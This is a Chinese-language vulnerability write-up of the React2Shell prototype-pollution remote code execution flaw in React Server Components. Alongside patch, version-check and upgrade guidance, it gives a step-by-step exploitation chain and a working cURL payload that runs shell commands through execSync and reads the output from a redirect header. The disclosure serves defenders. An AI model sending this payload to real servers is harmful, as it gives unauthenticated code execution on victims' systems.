CVE-2025-55182 · React2Shell:通过原型污染在 React Server Components 中实现 RCE
Source: Dev.to
TL;DR
React 的 Flight 反序列化器会把任何拥有 .then 方法的对象当作 Promise 处理,而不管其真实类型。攻击者可以通过构造的 multipart POST 请求污染 Object.prototype.then,迫使服务器通过 Function 构造函数执行任意 JavaScript。结果会通过 HTTP 响应头 X-Action-Redirect 泄露。
- 无需认证。
- 可确定性。
- CVSS v3.1:10.0(Critical).
漏洞描述
React Server Components(RSC) 在 React 19 中与 Server Actions 一起稳定下来,这是一种模型,其中 UI 组件在服务器上执行,并通过 Flight 协议进行通信。当客户端调用 Server Action 时,会发送一个 POST multipart 请求,携带序列化的负载;服务器对其进行反序列化,执行该动作并以流式方式返回结果。
Flight 协议并非 JSON;它是一种带有类型化 chunks 的流式格式。其核心机制如下:
if (obj && typeof obj.then === 'function') {
// 被视为 Promise
}
该假设使得任何拥有 .then 方法的对象都会被当作 Promise 处理。如果攻击者在 Object.prototype 上写入 then,所有运行时的普通对象都会继承它,反序列化器便无法再区分真实的 Promise 与被污染的对象。此时,运行时会对攻击者可控的内容执行 new Function(_prefix)。
影响
⚠️ 所有使用 App Router 并启用 React Server Components 的 Next.js 应用均受影响——这是 Next.js 14 的默认配置。开发者不必显式定义 Server Actions;仅仅存在受影响的 RSC 包即可导致漏洞。
易受影响的版本
- React 19.0.0 – 19.2.0(包括 19.0.0、19.1.0、19.1.1、19.2.0)
- 影响使用 App Router 的 Next.js 项目中的 RSC。
利用链
- 侦察 – 确认运行 React 19.x 并使用 App Router 的 Next.js 应用。任何处理
multipart/form-data且带有Next-Action头的端点都是有效目标。 - 构造负载 – 发送 multipart 正文,其中
__proto__:then污染Object.prototype。字段_formData.get重定向到$1:constructor:constructor,_prefix携带要执行的 JavaScript。 - 发送 – 对根路径进行一次
POST,带上Next-Action: x。WAF 通常会将格式正确的 multipart 请求视为正常并转发,且不进行检查。 - 服务器评估 – Flight 反序列化器发现一个带有
.then(继承自被污染的原型)的对象,并调用new Function(_prefix),执行攻击者的代码。 - 数据泄露 –
execSync()的结果被插入到错误NEXT_REDIRECT的摘要中。Next.js 将其转换为带有X-Action-Redirect: /login?a=头的307重定向。攻击者解码该参数以获取输出。
最小负载示例 (cURL)
curl -X POST https://victim.com/ \
-F '__proto__:then=()=>({then:()=>({})})' \
-F '_formData.get=$1:constructor:constructor' \
-F '_prefix=return require("child_process").execSync("id").toString()' \
-H 'Next-Action: x'
常见结果
whoami、id、uname -a在受漏洞影响的 Node.js 服务器上执行。- 不需要文件上传、Shell 注入或身份验证。
易受攻击的代码(修补前)
// VULNERABLE — React 19.0.0 / 19.1.0 / 19.1.1 / 19.2.0
if (obj && typeof obj.then === 'function') {
// comprobación conductual — bypasseable vía cadena de prototipos
}
补丁
添加使用 hasOwnProperty 的检查,以阻止原型链的遍历:
- resolvedValue = resolvedValue[key];
+ if (!resolvedValue.hasOwnProperty(key)) break;
+ resolvedValue = resolvedValue[key];
补丁验证
node -e "const r = require('react'); const [maj,min,pat] = r.version.split('.').map(Number);
console.log('React:', r.version, (maj===19 && (min<2||(min===2&&pat<1))) ? '❌ VULNERABLE' : '✓ Parcheado')"
补丁后通告
最初修补的版本(19.0.1、19.1.2、19.2.1)引入了两个派生的 CVE:
- CVE‑2025‑55184 – 拒绝服务(DoS),CVSS 7.5
- CVE‑2025‑55183 – 源代码泄露,CVSS 5.3
建议升级至 19.0.2、19.1.3 或 19.2.2。
反思
基于行为的信任(typeof obj.then === 'function')比基于身份的信任更脆弱。接受任何 thenable 的灵活性使得 prototype pollution 成为远程代码执行的万能钥匙。
参考文献
- 完整分析 → blog.deviannt.com
- CVE‑2025‑55182 – React2Shell
- — devianntsec,安全研究 & 更多